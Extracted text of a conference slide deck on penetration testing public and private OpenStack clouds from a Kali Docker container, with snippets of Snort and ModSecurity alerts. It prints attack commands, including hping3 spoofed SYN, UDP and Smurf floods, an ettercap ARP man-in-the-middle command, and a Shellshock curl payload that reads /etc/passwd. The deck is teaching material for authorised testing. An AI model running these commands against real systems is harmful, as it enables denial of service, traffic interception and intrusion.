How To Test For Penetration On The Cloud
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1 Penetration Testing in the Cloud Dan Lambright LISA14 1
2 $ whoami 2
3 Agenda Explore penetration testing on the cloud..* Public Private (as owner) Private (as tenant) * On demand self-service, remote access, metered, pooled resources, elastic 3
4 Penetration Testing Mimic real attacks Rehearse security processes Stress infrastructure Have post postmortems, avoid blame, expect problems.. Unit test IDS / firewall rules (ModSecurity / Snort / OSSEC / iptables...) 4
5 Target safe hacking environment production systems 5
6 Tools Catalogs: Nessus, metasploit... Pinpoint: nmap, ettercap, hping3, curl, tcpreplay... 6
7 Needless to say. Hackers are out there. ~]$ su - Password: Last login: Wed Nov 5 21:11:11 EST 2014 on pts/2 Last failed login: Wed Nov 12 13:38:29 EST 2014 from on ssh:notty There were failed login attempts since the last successful login. 7
8 Some Representative Attacks... spoofing Man in the middle Distributed Denial of service Port scans 8
9 Public Cloud Security Infrastructure resilient to DDOS Can't attack from cloud (no spoofed source addresses) Cannot sniff other tenant's traffic But. The provider won't protect your instance! 9
10 Public cloud challenges Pen tests can't affect other tenants Pen tests may be expensive Cannot install a HW security appliance No low level access (grub) IP addresses are ephemeral 10
11 CSP Policies For Tests Can get permission (Some CSP have slow responses) No DOS tests On AWS, no m1.small or t1.micro 11
12 Commercial Tools On-demand pen tests! (CloudInspect) DDOS sinks! (Prolexic) 24/7 response! (AlertLogic) Costly 12
13 PRIVATE CLOUD ADMINISTRATOR
14 Private Cloud Owner Some desirables for pen testing an instance: Don't affect other instances Observe instance traffic Run IDS against an instance 14
15 15 Openstack
16 virsh dumpxml host tap interface ovs-vsctl show brctl show Use tcpdump, snort, etc. Run multiple IDS (snort) on host? - need separate namespaces Replicate data to a separate node? - don't wish to confuse openstack Denial of service attack - can do tc against interface 16
17 TENANT
18 Private Cloud Tenant Desire no pen tests on network Idea : attack from container Gives IP address, subnet, NAT, MTU,... Ceiling on resources No minimum guaranteed resources Won't test external firewall. 18
19 kali container Kali security distro Debian on CentOS host Import files (eg pcap) V docker bridge V instance V qbr.. Int bridge.. 19
20 Port Scans - nmap nmap sx (Xmas scan) nmap sn (Null scan) nmap sa (ACK scan) [**] [1: :0] XMAS Scan [**] [Priority: 0] 11/12-13:17: : > :6129 TCP TTL:56 TOS:0x0 ID:26677 IpLen:20 DgmLen:40 **U*P**F Seq: 0xDCC58B7B Ack: 0x0 Win: 0x400 TcpLen: 20 UrgPtr: 0x0 docker Host instance Snort alert 20
21 Spoofing - hping3 docker bash-4.2# hping3 -S -c 1 -a HPING (eth ): S set, 40 headers + 0 data bytes hping statistic packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms bash-4.2# hping3 -S -c 1 -a HPING (eth ): S set, 40 headers + 0 data bytes Tcpdump on host instance [root@ip logs]# tcpdump -i docker0 listening on docker0, link-type EN10MB (Ethernet), capture size bytes 14:11: IP empire-empuma > ip ec2.internal.0: 21
22 Man in the Middle - ettercap docker lynx " docker2 ettercap -T -M ARP -j /tmp/hosts.txt -F html.ef / / // host instance Apache with ModSecurity module (WAF) --580af829-H-- Message: Access denied with code 403 (phase 2). Pattern match 22
23 Denial of Service - hping3 # SYN attack to port 22 hping3 -c d 120 -S -w 64 -p 22 --flood --rand-source -i eth0 # llage UDP packets hping3 --rand-source --udp --flood -d # Smurf attack sudo sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=0 hping3-1 --flood -a docker Host instance Snort alert 23
24 Other Metasploit Curl command (ex. Shellshocked) curl -A "() { :; }; echo;/bin/cat /etc/passwd" Lynx (html), but not limited to CLI.. 24
25 Summary Coordinate with CSP OpenStack is a WIP Docker is good for unit testing 25
26 Thank You! RED HAT CONFIDENTIAL DO NOT DISTRIBUTE
27 Still Need Penetration Tests Port scans are not (necessarily) blocked 27
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